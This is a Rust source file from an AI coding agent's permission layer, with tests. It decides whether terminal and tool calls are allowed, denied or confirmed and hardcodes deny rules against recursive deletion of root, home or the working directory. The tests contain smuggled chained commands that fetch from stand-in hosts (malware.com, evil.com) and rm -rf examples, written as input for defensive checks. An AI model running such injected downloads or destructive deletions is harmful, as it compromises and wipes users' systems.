tool_permissions.rs

   1use crate::AgentTool;
   2use crate::shell_parser::extract_commands;
   3use crate::tools::TerminalTool;
   4use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
   5use settings::ToolPermissionMode;
   6use std::sync::LazyLock;
   7use util::shell::ShellKind;
   8
   9const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
  10     harmful to be allowed, and cannot be overridden by settings.";
  11
  12/// Security rules that are always enforced and cannot be overridden by any setting.
  13/// These protect against catastrophic operations like wiping filesystems.
  14pub struct HardcodedSecurityRules {
  15    pub terminal_deny: Vec<CompiledRegex>,
  16}
  17
  18pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
  19    HardcodedSecurityRules {
  20        // Case-insensitive; `(-[rf]+\s+)*` handles `-rf`, `-fr`, `-RF`, `-r -f`, etc.
  21        terminal_deny: vec![
  22            // Recursive deletion of root - "rm -rf /" or "rm -rf / "
  23            CompiledRegex::new(r"rm\s+(-[rf]+\s+)*/\s*$", false)
  24                .expect("hardcoded regex should compile"),
  25            // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" (but not ~/subdir)
  26            CompiledRegex::new(r"rm\s+(-[rf]+\s+)*~/?\s*$", false)
  27                .expect("hardcoded regex should compile"),
  28            // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}"
  29            CompiledRegex::new(r"rm\s+(-[rf]+\s+)*(\$HOME|\$\{HOME\})/?\s*$", false)
  30                .expect("hardcoded regex should compile"),
  31            // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./"
  32            CompiledRegex::new(r"rm\s+(-[rf]+\s+)*\./?\s*$", false)
  33                .expect("hardcoded regex should compile"),
  34            // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../"
  35            CompiledRegex::new(r"rm\s+(-[rf]+\s+)*\.\./?\s*$", false)
  36                .expect("hardcoded regex should compile"),
  37        ],
  38    }
  39});
  40
  41/// Checks if input matches any hardcoded security rules that cannot be bypassed.
  42/// Returns a Deny decision if blocked, None otherwise.
  43fn check_hardcoded_security_rules(
  44    tool_name: &str,
  45    input: &str,
  46    shell_kind: ShellKind,
  47) -> Option<ToolPermissionDecision> {
  48    // Currently only terminal tool has hardcoded rules
  49    if tool_name != TerminalTool::NAME {
  50        return None;
  51    }
  52
  53    let rules = &*HARDCODED_SECURITY_RULES;
  54    let terminal_patterns = &rules.terminal_deny;
  55
  56    // First: check the original input as-is
  57    for pattern in terminal_patterns {
  58        if pattern.is_match(input) {
  59            return Some(ToolPermissionDecision::Deny(
  60                HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
  61            ));
  62        }
  63    }
  64
  65    // Second: parse and check individual sub-commands (for chained commands)
  66    if shell_kind.supports_posix_chaining() {
  67        if let Some(commands) = extract_commands(input) {
  68            for command in &commands {
  69                for pattern in terminal_patterns {
  70                    if pattern.is_match(command) {
  71                        return Some(ToolPermissionDecision::Deny(
  72                            HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
  73                        ));
  74                    }
  75                }
  76            }
  77        }
  78    }
  79
  80    None
  81}
  82
  83#[derive(Debug, Clone, PartialEq, Eq)]
  84pub enum ToolPermissionDecision {
  85    Allow,
  86    Deny(String),
  87    Confirm,
  88}
  89
  90impl ToolPermissionDecision {
  91    /// Determines the permission decision for a tool invocation based on configured rules.
  92    ///
  93    /// # Precedence Order (highest to lowest)
  94    ///
  95    /// 1. **`always_allow_tool_actions`** - When enabled, allows all tool actions without
  96    ///    prompting. This global setting bypasses all other checks including deny patterns.
  97    ///    Use with caution as it disables all security rules.
  98    /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
  99    ///    This takes precedence over `always_confirm` and `always_allow` patterns.
 100    /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
 101    ///    the user is prompted for confirmation.
 102    /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
 103    ///    the tool call proceeds without prompting.
 104    /// 5. **`default_mode`** - If no patterns match, falls back to the tool's default mode.
 105    ///
 106    /// # Shell Compatibility (Terminal Tool Only)
 107    ///
 108    /// For the terminal tool, commands are parsed to extract sub-commands for security.
 109    /// This parsing only works for shells with POSIX-like `&&` / `||` / `;` / `|` syntax:
 110    ///
 111    /// **Compatible shells:** Posix (sh, bash, dash, zsh), Fish 3.0+, PowerShell 7+/Pwsh,
 112    /// Cmd, Xonsh, Csh, Tcsh
 113    ///
 114    /// **Incompatible shells:** Nushell, Elvish, Rc (Plan 9)
 115    ///
 116    /// For incompatible shells, `always_allow` patterns are disabled for safety.
 117    ///
 118    /// # Pattern Matching Tips
 119    ///
 120    /// Patterns are matched as regular expressions against the tool input (e.g., the command
 121    /// string for the terminal tool). Some tips for writing effective patterns:
 122    ///
 123    /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
 124    ///   match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
 125    ///   This is important for security rules where you want to block specific commands
 126    ///   without accidentally blocking unrelated commands that happen to contain the same
 127    ///   substring.
 128    /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
 129    /// - Use `^` and `$` anchors to match the start/end of the input.
 130    pub fn from_input(
 131        tool_name: &str,
 132        input: &str,
 133        permissions: &ToolPermissions,
 134        always_allow_tool_actions: bool,
 135        shell_kind: ShellKind,
 136    ) -> ToolPermissionDecision {
 137        // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
 138        // These cannot be bypassed by any user settings.
 139        if let Some(denial) = check_hardcoded_security_rules(tool_name, input, shell_kind) {
 140            return denial;
 141        }
 142
 143        // If always_allow_tool_actions is enabled, bypass user-configured permission checks.
 144        // Note: This no longer bypasses hardcoded security rules (checked above).
 145        if always_allow_tool_actions {
 146            return ToolPermissionDecision::Allow;
 147        }
 148
 149        let rules = match permissions.tools.get(tool_name) {
 150            Some(rules) => rules,
 151            None => {
 152                return ToolPermissionDecision::Confirm;
 153            }
 154        };
 155
 156        // Check for invalid regex patterns before evaluating rules.
 157        // If any patterns failed to compile, block the tool call entirely.
 158        if let Some(error) = check_invalid_patterns(tool_name, rules) {
 159            return ToolPermissionDecision::Deny(error);
 160        }
 161
 162        // For the terminal tool, parse the command to extract all sub-commands.
 163        // This prevents shell injection attacks where a user configures an allow
 164        // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
 165        //
 166        // If parsing fails or the shell syntax is unsupported, always_allow is
 167        // disabled for this command (we set allow_enabled to false to signal this).
 168        if tool_name == TerminalTool::NAME {
 169            // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
 170            // See the doc comment above for the list of compatible/incompatible shells.
 171            if !shell_kind.supports_posix_chaining() {
 172                // For shells with incompatible syntax, we can't reliably parse
 173                // the command to extract sub-commands.
 174                if !rules.always_allow.is_empty() {
 175                    // If the user has configured always_allow patterns, we must deny
 176                    // because we can't safely verify the command doesn't contain
 177                    // hidden sub-commands that bypass the allow patterns.
 178                    return ToolPermissionDecision::Deny(format!(
 179                        "The {} shell does not support \"always allow\" patterns for the terminal \
 180                         tool because Zed cannot parse its command chaining syntax. Please remove \
 181                         the always_allow patterns from your tool_permissions settings, or switch \
 182                         to a POSIX-conforming shell.",
 183                        shell_kind
 184                    ));
 185                }
 186                // No always_allow rules, so we can still check deny/confirm patterns.
 187                return check_commands(std::iter::once(input.to_string()), rules, tool_name, false);
 188            }
 189
 190            match extract_commands(input) {
 191                Some(commands) => check_commands(commands, rules, tool_name, true),
 192                None => {
 193                    // The command failed to parse, so we check to see if we should auto-deny
 194                    // or auto-confirm; if neither auto-deny nor auto-confirm applies here,
 195                    // fall back on the default (based on the user's settings, which is Confirm
 196                    // if not specified otherwise). Ignore "always allow" when it failed to parse.
 197                    check_commands(std::iter::once(input.to_string()), rules, tool_name, false)
 198                }
 199            }
 200        } else {
 201            check_commands(std::iter::once(input.to_string()), rules, tool_name, true)
 202        }
 203    }
 204}
 205
 206/// Evaluates permission rules against a set of commands.
 207///
 208/// This function performs a single pass through all commands with the following logic:
 209/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
 210/// - **CONFIRM**: Track if ANY command matches a confirm pattern
 211/// - **ALLOW**: Track if ALL commands match at least one allow pattern
 212///
 213/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
 214/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
 215/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
 216fn check_commands(
 217    commands: impl IntoIterator<Item = String>,
 218    rules: &ToolRules,
 219    tool_name: &str,
 220    allow_enabled: bool,
 221) -> ToolPermissionDecision {
 222    // Single pass through all commands:
 223    // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
 224    // - CONFIRM: Track if ANY command matches a confirm pattern
 225    // - ALLOW: Track if ALL commands match at least one allow pattern
 226    let mut any_matched_confirm = false;
 227    let mut all_matched_allow = true;
 228    let mut had_any_commands = false;
 229
 230    for command in commands {
 231        had_any_commands = true;
 232
 233        // DENY: immediate return if any command matches a deny pattern
 234        if rules.always_deny.iter().any(|r| r.is_match(&command)) {
 235            return ToolPermissionDecision::Deny(format!(
 236                "Command blocked by security rule for {} tool",
 237                tool_name
 238            ));
 239        }
 240
 241        // CONFIRM: remember if any command matches a confirm pattern
 242        if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
 243            any_matched_confirm = true;
 244        }
 245
 246        // ALLOW: track if all commands match at least one allow pattern
 247        if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
 248            all_matched_allow = false;
 249        }
 250    }
 251
 252    // After processing all commands, check accumulated state
 253    if any_matched_confirm {
 254        return ToolPermissionDecision::Confirm;
 255    }
 256
 257    if allow_enabled && all_matched_allow && had_any_commands {
 258        return ToolPermissionDecision::Allow;
 259    }
 260
 261    match rules.default_mode {
 262        ToolPermissionMode::Deny => {
 263            ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
 264        }
 265        ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
 266        ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
 267    }
 268}
 269
 270/// Checks if the tool rules contain any invalid regex patterns.
 271/// Returns an error message if invalid patterns are found.
 272fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
 273    if rules.invalid_patterns.is_empty() {
 274        return None;
 275    }
 276
 277    let count = rules.invalid_patterns.len();
 278    let pattern_word = if count == 1 { "pattern" } else { "patterns" };
 279
 280    Some(format!(
 281        "The {} tool cannot run because {} regex {} failed to compile. \
 282         Please fix the invalid patterns in your tool_permissions settings.",
 283        tool_name, count, pattern_word
 284    ))
 285}
 286
 287/// Convenience wrapper that extracts permission settings from `AgentSettings`.
 288///
 289/// This is the primary entry point for tools to check permissions. It extracts
 290/// `tool_permissions` and `always_allow_tool_actions` from the settings and
 291/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
 292pub fn decide_permission_from_settings(
 293    tool_name: &str,
 294    input: &str,
 295    settings: &AgentSettings,
 296) -> ToolPermissionDecision {
 297    ToolPermissionDecision::from_input(
 298        tool_name,
 299        input,
 300        &settings.tool_permissions,
 301        settings.always_allow_tool_actions,
 302        ShellKind::system(),
 303    )
 304}
 305
 306#[cfg(test)]
 307mod tests {
 308    use super::*;
 309    use crate::AgentTool;
 310    use crate::pattern_extraction::extract_terminal_pattern;
 311    use crate::tools::{EditFileTool, TerminalTool};
 312    use agent_settings::{CompiledRegex, InvalidRegexPattern, ToolRules};
 313    use std::sync::Arc;
 314
 315    fn pattern(command: &str) -> &'static str {
 316        Box::leak(
 317            extract_terminal_pattern(command)
 318                .expect("failed to extract pattern")
 319                .into_boxed_str(),
 320        )
 321    }
 322
 323    struct PermTest {
 324        tool: &'static str,
 325        input: &'static str,
 326        mode: ToolPermissionMode,
 327        allow: Vec<(&'static str, bool)>,
 328        deny: Vec<(&'static str, bool)>,
 329        confirm: Vec<(&'static str, bool)>,
 330        global: bool,
 331        shell: ShellKind,
 332    }
 333
 334    impl PermTest {
 335        fn new(input: &'static str) -> Self {
 336            Self {
 337                tool: TerminalTool::NAME,
 338                input,
 339                mode: ToolPermissionMode::Confirm,
 340                allow: vec![],
 341                deny: vec![],
 342                confirm: vec![],
 343                global: false,
 344                shell: ShellKind::Posix,
 345            }
 346        }
 347
 348        fn tool(mut self, t: &'static str) -> Self {
 349            self.tool = t;
 350            self
 351        }
 352        fn mode(mut self, m: ToolPermissionMode) -> Self {
 353            self.mode = m;
 354            self
 355        }
 356        fn allow(mut self, p: &[&'static str]) -> Self {
 357            self.allow = p.iter().map(|s| (*s, false)).collect();
 358            self
 359        }
 360        fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
 361            self.allow = p.iter().map(|s| (*s, true)).collect();
 362            self
 363        }
 364        fn deny(mut self, p: &[&'static str]) -> Self {
 365            self.deny = p.iter().map(|s| (*s, false)).collect();
 366            self
 367        }
 368        fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
 369            self.deny = p.iter().map(|s| (*s, true)).collect();
 370            self
 371        }
 372        fn confirm(mut self, p: &[&'static str]) -> Self {
 373            self.confirm = p.iter().map(|s| (*s, false)).collect();
 374            self
 375        }
 376        fn global(mut self, g: bool) -> Self {
 377            self.global = g;
 378            self
 379        }
 380        fn shell(mut self, s: ShellKind) -> Self {
 381            self.shell = s;
 382            self
 383        }
 384
 385        fn is_allow(self) {
 386            assert_eq!(
 387                self.run(),
 388                ToolPermissionDecision::Allow,
 389                "expected Allow for '{}'",
 390                self.input
 391            );
 392        }
 393        fn is_deny(self) {
 394            assert!(
 395                matches!(self.run(), ToolPermissionDecision::Deny(_)),
 396                "expected Deny for '{}'",
 397                self.input
 398            );
 399        }
 400        fn is_confirm(self) {
 401            assert_eq!(
 402                self.run(),
 403                ToolPermissionDecision::Confirm,
 404                "expected Confirm for '{}'",
 405                self.input
 406            );
 407        }
 408
 409        fn run(&self) -> ToolPermissionDecision {
 410            let mut tools = collections::HashMap::default();
 411            tools.insert(
 412                Arc::from(self.tool),
 413                ToolRules {
 414                    default_mode: self.mode,
 415                    always_allow: self
 416                        .allow
 417                        .iter()
 418                        .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
 419                        .collect(),
 420                    always_deny: self
 421                        .deny
 422                        .iter()
 423                        .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
 424                        .collect(),
 425                    always_confirm: self
 426                        .confirm
 427                        .iter()
 428                        .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
 429                        .collect(),
 430                    invalid_patterns: vec![],
 431                },
 432            );
 433            ToolPermissionDecision::from_input(
 434                self.tool,
 435                self.input,
 436                &ToolPermissions { tools },
 437                self.global,
 438                self.shell,
 439            )
 440        }
 441    }
 442
 443    fn t(input: &'static str) -> PermTest {
 444        PermTest::new(input)
 445    }
 446
 447    fn no_rules(input: &str, global: bool) -> ToolPermissionDecision {
 448        ToolPermissionDecision::from_input(
 449            TerminalTool::NAME,
 450            input,
 451            &ToolPermissions {
 452                tools: collections::HashMap::default(),
 453            },
 454            global,
 455            ShellKind::Posix,
 456        )
 457    }
 458
 459    // allow pattern matches
 460    #[test]
 461    fn allow_exact_match() {
 462        t("cargo test").allow(&[pattern("cargo")]).is_allow();
 463    }
 464    #[test]
 465    fn allow_one_of_many_patterns() {
 466        t("npm install")
 467            .allow(&[pattern("cargo"), pattern("npm")])
 468            .is_allow();
 469        t("git status")
 470            .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
 471            .is_allow();
 472    }
 473    #[test]
 474    fn allow_middle_pattern() {
 475        t("run cargo now").allow(&["cargo"]).is_allow();
 476    }
 477    #[test]
 478    fn allow_anchor_prevents_middle() {
 479        t("run cargo now").allow(&["^cargo"]).is_confirm();
 480    }
 481
 482    // allow pattern doesn't match -> falls through
 483    #[test]
 484    fn allow_no_match_confirms() {
 485        t("python x.py").allow(&[pattern("cargo")]).is_confirm();
 486    }
 487    #[test]
 488    fn allow_no_match_global_allows() {
 489        t("python x.py")
 490            .allow(&[pattern("cargo")])
 491            .global(true)
 492            .is_allow();
 493    }
 494
 495    // deny pattern matches (using commands that aren't blocked by hardcoded rules)
 496    #[test]
 497    fn deny_blocks() {
 498        t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
 499    }
 500    #[test]
 501    fn global_bypasses_user_deny() {
 502        // always_allow_tool_actions bypasses user-configured deny rules
 503        t("rm -rf ./temp")
 504            .deny(&["rm\\s+-rf"])
 505            .global(true)
 506            .is_allow();
 507    }
 508    #[test]
 509    fn deny_blocks_with_mode_allow() {
 510        t("rm -rf ./temp")
 511            .deny(&["rm\\s+-rf"])
 512            .mode(ToolPermissionMode::Allow)
 513            .is_deny();
 514    }
 515    #[test]
 516    fn deny_middle_match() {
 517        t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
 518    }
 519    #[test]
 520    fn deny_no_match_falls_through() {
 521        t("ls -la")
 522            .deny(&["rm\\s+-rf"])
 523            .mode(ToolPermissionMode::Allow)
 524            .is_allow();
 525    }
 526
 527    // confirm pattern matches
 528    #[test]
 529    fn confirm_requires_confirm() {
 530        t("sudo apt install")
 531            .confirm(&[pattern("sudo")])
 532            .is_confirm();
 533    }
 534    #[test]
 535    fn global_overrides_confirm() {
 536        t("sudo reboot")
 537            .confirm(&[pattern("sudo")])
 538            .global(true)
 539            .is_allow();
 540    }
 541    #[test]
 542    fn confirm_overrides_mode_allow() {
 543        t("sudo x")
 544            .confirm(&["sudo"])
 545            .mode(ToolPermissionMode::Allow)
 546            .is_confirm();
 547    }
 548
 549    // confirm beats allow
 550    #[test]
 551    fn confirm_beats_allow() {
 552        t("git push --force")
 553            .allow(&[pattern("git")])
 554            .confirm(&["--force"])
 555            .is_confirm();
 556    }
 557    #[test]
 558    fn confirm_beats_allow_overlap() {
 559        t("deploy prod")
 560            .allow(&["deploy"])
 561            .confirm(&["prod"])
 562            .is_confirm();
 563    }
 564    #[test]
 565    fn allow_when_confirm_no_match() {
 566        t("git status")
 567            .allow(&[pattern("git")])
 568            .confirm(&["--force"])
 569            .is_allow();
 570    }
 571
 572    // deny beats allow
 573    #[test]
 574    fn deny_beats_allow() {
 575        t("rm -rf ./tmp/x")
 576            .allow(&["/tmp/"])
 577            .deny(&["rm\\s+-rf"])
 578            .is_deny();
 579    }
 580
 581    #[test]
 582    fn deny_beats_confirm() {
 583        t("sudo rm -rf ./temp")
 584            .confirm(&["sudo"])
 585            .deny(&["rm\\s+-rf"])
 586            .is_deny();
 587    }
 588
 589    // deny beats everything
 590    #[test]
 591    fn deny_beats_all() {
 592        t("bad cmd")
 593            .allow(&["cmd"])
 594            .confirm(&["cmd"])
 595            .deny(&["bad"])
 596            .is_deny();
 597    }
 598
 599    // no patterns -> default_mode
 600    #[test]
 601    fn default_confirm() {
 602        t("python x.py")
 603            .mode(ToolPermissionMode::Confirm)
 604            .is_confirm();
 605    }
 606    #[test]
 607    fn default_allow() {
 608        t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
 609    }
 610    #[test]
 611    fn default_deny() {
 612        t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
 613    }
 614    #[test]
 615    fn default_deny_global_true() {
 616        t("python x.py")
 617            .mode(ToolPermissionMode::Deny)
 618            .global(true)
 619            .is_allow();
 620    }
 621
 622    #[test]
 623    fn default_confirm_global_true() {
 624        t("x")
 625            .mode(ToolPermissionMode::Confirm)
 626            .global(true)
 627            .is_allow();
 628    }
 629
 630    #[test]
 631    fn no_rules_confirms_by_default() {
 632        assert_eq!(no_rules("x", false), ToolPermissionDecision::Confirm);
 633    }
 634
 635    #[test]
 636    fn empty_input_no_match() {
 637        t("")
 638            .deny(&["rm"])
 639            .mode(ToolPermissionMode::Allow)
 640            .is_allow();
 641    }
 642
 643    #[test]
 644    fn empty_input_with_allow_falls_to_default() {
 645        t("").allow(&["^ls"]).is_confirm();
 646    }
 647
 648    #[test]
 649    fn multi_deny_any_match() {
 650        t("rm x").deny(&["rm", "del", "drop"]).is_deny();
 651        t("drop x").deny(&["rm", "del", "drop"]).is_deny();
 652    }
 653
 654    #[test]
 655    fn multi_allow_any_match() {
 656        t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
 657    }
 658    #[test]
 659    fn multi_none_match() {
 660        t("python x")
 661            .allow(&["^cargo", "^npm"])
 662            .deny(&["rm"])
 663            .is_confirm();
 664    }
 665
 666    // tool isolation
 667    #[test]
 668    fn other_tool_not_affected() {
 669        let mut tools = collections::HashMap::default();
 670        tools.insert(
 671            Arc::from(TerminalTool::NAME),
 672            ToolRules {
 673                default_mode: ToolPermissionMode::Deny,
 674                always_allow: vec![],
 675                always_deny: vec![],
 676                always_confirm: vec![],
 677                invalid_patterns: vec![],
 678            },
 679        );
 680        tools.insert(
 681            Arc::from(EditFileTool::NAME),
 682            ToolRules {
 683                default_mode: ToolPermissionMode::Allow,
 684                always_allow: vec![],
 685                always_deny: vec![],
 686                always_confirm: vec![],
 687                invalid_patterns: vec![],
 688            },
 689        );
 690        let p = ToolPermissions { tools };
 691        // With always_allow_tool_actions=true, even default_mode: Deny is overridden
 692        assert_eq!(
 693            ToolPermissionDecision::from_input(TerminalTool::NAME, "x", &p, true, ShellKind::Posix),
 694            ToolPermissionDecision::Allow
 695        );
 696        // With always_allow_tool_actions=false, default_mode: Deny is respected
 697        assert!(matches!(
 698            ToolPermissionDecision::from_input(
 699                TerminalTool::NAME,
 700                "x",
 701                &p,
 702                false,
 703                ShellKind::Posix
 704            ),
 705            ToolPermissionDecision::Deny(_)
 706        ));
 707        assert_eq!(
 708            ToolPermissionDecision::from_input(
 709                EditFileTool::NAME,
 710                "x",
 711                &p,
 712                false,
 713                ShellKind::Posix
 714            ),
 715            ToolPermissionDecision::Allow
 716        );
 717    }
 718
 719    #[test]
 720    fn partial_tool_name_no_match() {
 721        let mut tools = collections::HashMap::default();
 722        tools.insert(
 723            Arc::from("term"),
 724            ToolRules {
 725                default_mode: ToolPermissionMode::Deny,
 726                always_allow: vec![],
 727                always_deny: vec![],
 728                always_confirm: vec![],
 729                invalid_patterns: vec![],
 730            },
 731        );
 732        let p = ToolPermissions { tools };
 733        // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
 734        assert_eq!(
 735            ToolPermissionDecision::from_input(
 736                TerminalTool::NAME,
 737                "x",
 738                &p,
 739                false,
 740                ShellKind::Posix
 741            ),
 742            ToolPermissionDecision::Confirm
 743        );
 744    }
 745
 746    // invalid patterns block the tool (but global bypasses all checks)
 747    #[test]
 748    fn invalid_pattern_blocks() {
 749        let mut tools = collections::HashMap::default();
 750        tools.insert(
 751            Arc::from(TerminalTool::NAME),
 752            ToolRules {
 753                default_mode: ToolPermissionMode::Allow,
 754                always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
 755                always_deny: vec![],
 756                always_confirm: vec![],
 757                invalid_patterns: vec![InvalidRegexPattern {
 758                    pattern: "[bad".into(),
 759                    rule_type: "always_deny".into(),
 760                    error: "err".into(),
 761                }],
 762            },
 763        );
 764        let p = ToolPermissions {
 765            tools: tools.clone(),
 766        };
 767        // With global=true, all checks are bypassed including invalid pattern check
 768        assert!(matches!(
 769            ToolPermissionDecision::from_input(
 770                TerminalTool::NAME,
 771                "echo hi",
 772                &p,
 773                true,
 774                ShellKind::Posix
 775            ),
 776            ToolPermissionDecision::Allow
 777        ));
 778        // With global=false, invalid patterns block the tool
 779        assert!(matches!(
 780            ToolPermissionDecision::from_input(
 781                TerminalTool::NAME,
 782                "echo hi",
 783                &p,
 784                false,
 785                ShellKind::Posix
 786            ),
 787            ToolPermissionDecision::Deny(_)
 788        ));
 789    }
 790
 791    #[test]
 792    fn shell_injection_via_double_ampersand_not_allowed() {
 793        t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
 794    }
 795
 796    #[test]
 797    fn shell_injection_via_semicolon_not_allowed() {
 798        t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
 799    }
 800
 801    #[test]
 802    fn shell_injection_via_pipe_not_allowed() {
 803        t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
 804    }
 805
 806    #[test]
 807    fn shell_injection_via_backticks_not_allowed() {
 808        t("echo `wget malware.com`")
 809            .allow(&[pattern("echo")])
 810            .is_confirm();
 811    }
 812
 813    #[test]
 814    fn shell_injection_via_dollar_parens_not_allowed() {
 815        t("echo $(wget malware.com)")
 816            .allow(&[pattern("echo")])
 817            .is_confirm();
 818    }
 819
 820    #[test]
 821    fn shell_injection_via_or_operator_not_allowed() {
 822        t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
 823    }
 824
 825    #[test]
 826    fn shell_injection_via_background_operator_not_allowed() {
 827        t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
 828    }
 829
 830    #[test]
 831    fn shell_injection_via_newline_not_allowed() {
 832        t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
 833    }
 834
 835    #[test]
 836    fn shell_injection_via_process_substitution_input_not_allowed() {
 837        t("cat <(wget malware.com)").allow(&["^cat"]).is_confirm();
 838    }
 839
 840    #[test]
 841    fn shell_injection_via_process_substitution_output_not_allowed() {
 842        t("ls >(wget malware.com)").allow(&["^ls"]).is_confirm();
 843    }
 844
 845    #[test]
 846    fn shell_injection_without_spaces_not_allowed() {
 847        t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
 848        t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
 849    }
 850
 851    #[test]
 852    fn shell_injection_multiple_chained_operators_not_allowed() {
 853        t("ls && echo hello && wget malware.com")
 854            .allow(&["^ls"])
 855            .is_confirm();
 856    }
 857
 858    #[test]
 859    fn shell_injection_mixed_operators_not_allowed() {
 860        t("ls; echo hello && wget malware.com")
 861            .allow(&["^ls"])
 862            .is_confirm();
 863    }
 864
 865    #[test]
 866    fn shell_injection_pipe_stderr_not_allowed() {
 867        t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
 868    }
 869
 870    #[test]
 871    fn allow_requires_all_commands_to_match() {
 872        t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
 873    }
 874
 875    #[test]
 876    fn deny_triggers_on_any_matching_command() {
 877        t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
 878    }
 879
 880    #[test]
 881    fn deny_catches_injected_command() {
 882        t("ls && rm -rf ./temp")
 883            .allow(&["^ls"])
 884            .deny(&["^rm"])
 885            .is_deny();
 886    }
 887
 888    #[test]
 889    fn confirm_triggers_on_any_matching_command() {
 890        t("ls && sudo reboot")
 891            .allow(&["^ls"])
 892            .confirm(&["^sudo"])
 893            .is_confirm();
 894    }
 895
 896    #[test]
 897    fn always_allow_button_works_end_to_end() {
 898        // This test verifies that the "Always Allow" button behavior works correctly:
 899        // 1. User runs a command like "cargo build"
 900        // 2. They click "Always Allow for `cargo` commands"
 901        // 3. The pattern extracted from that command should match future cargo commands
 902        let original_command = "cargo build --release";
 903        let extracted_pattern = pattern(original_command);
 904
 905        // The extracted pattern should allow the original command
 906        t(original_command).allow(&[extracted_pattern]).is_allow();
 907
 908        // It should also allow other commands with the same base command
 909        t("cargo test").allow(&[extracted_pattern]).is_allow();
 910        t("cargo fmt").allow(&[extracted_pattern]).is_allow();
 911
 912        // But not commands with different base commands
 913        t("npm install").allow(&[extracted_pattern]).is_confirm();
 914
 915        // And it should work with subcommand extraction (chained commands)
 916        t("cargo build && cargo test")
 917            .allow(&[extracted_pattern])
 918            .is_allow();
 919
 920        // But reject if any subcommand doesn't match
 921        t("cargo build && npm install")
 922            .allow(&[extracted_pattern])
 923            .is_confirm();
 924    }
 925
 926    #[test]
 927    fn nested_command_substitution_all_checked() {
 928        t("echo $(cat $(whoami).txt)")
 929            .allow(&["^echo", "^cat", "^whoami"])
 930            .is_allow();
 931    }
 932
 933    #[test]
 934    fn parse_failure_falls_back_to_confirm() {
 935        t("ls &&").allow(&["^ls$"]).is_confirm();
 936    }
 937
 938    #[test]
 939    fn mcp_tool_default_modes() {
 940        t("")
 941            .tool("mcp:fs:read")
 942            .mode(ToolPermissionMode::Allow)
 943            .is_allow();
 944        t("")
 945            .tool("mcp:bad:del")
 946            .mode(ToolPermissionMode::Deny)
 947            .is_deny();
 948        t("")
 949            .tool("mcp:gh:issue")
 950            .mode(ToolPermissionMode::Confirm)
 951            .is_confirm();
 952        t("")
 953            .tool("mcp:gh:issue")
 954            .mode(ToolPermissionMode::Confirm)
 955            .global(true)
 956            .is_allow();
 957    }
 958
 959    #[test]
 960    fn mcp_doesnt_collide_with_builtin() {
 961        let mut tools = collections::HashMap::default();
 962        tools.insert(
 963            Arc::from(TerminalTool::NAME),
 964            ToolRules {
 965                default_mode: ToolPermissionMode::Deny,
 966                always_allow: vec![],
 967                always_deny: vec![],
 968                always_confirm: vec![],
 969                invalid_patterns: vec![],
 970            },
 971        );
 972        tools.insert(
 973            Arc::from("mcp:srv:terminal"),
 974            ToolRules {
 975                default_mode: ToolPermissionMode::Allow,
 976                always_allow: vec![],
 977                always_deny: vec![],
 978                always_confirm: vec![],
 979                invalid_patterns: vec![],
 980            },
 981        );
 982        let p = ToolPermissions { tools };
 983        assert!(matches!(
 984            ToolPermissionDecision::from_input(
 985                TerminalTool::NAME,
 986                "x",
 987                &p,
 988                false,
 989                ShellKind::Posix
 990            ),
 991            ToolPermissionDecision::Deny(_)
 992        ));
 993        assert_eq!(
 994            ToolPermissionDecision::from_input(
 995                "mcp:srv:terminal",
 996                "x",
 997                &p,
 998                false,
 999                ShellKind::Posix
1000            ),
1001            ToolPermissionDecision::Allow
1002        );
1003    }
1004
1005    #[test]
1006    fn case_insensitive_by_default() {
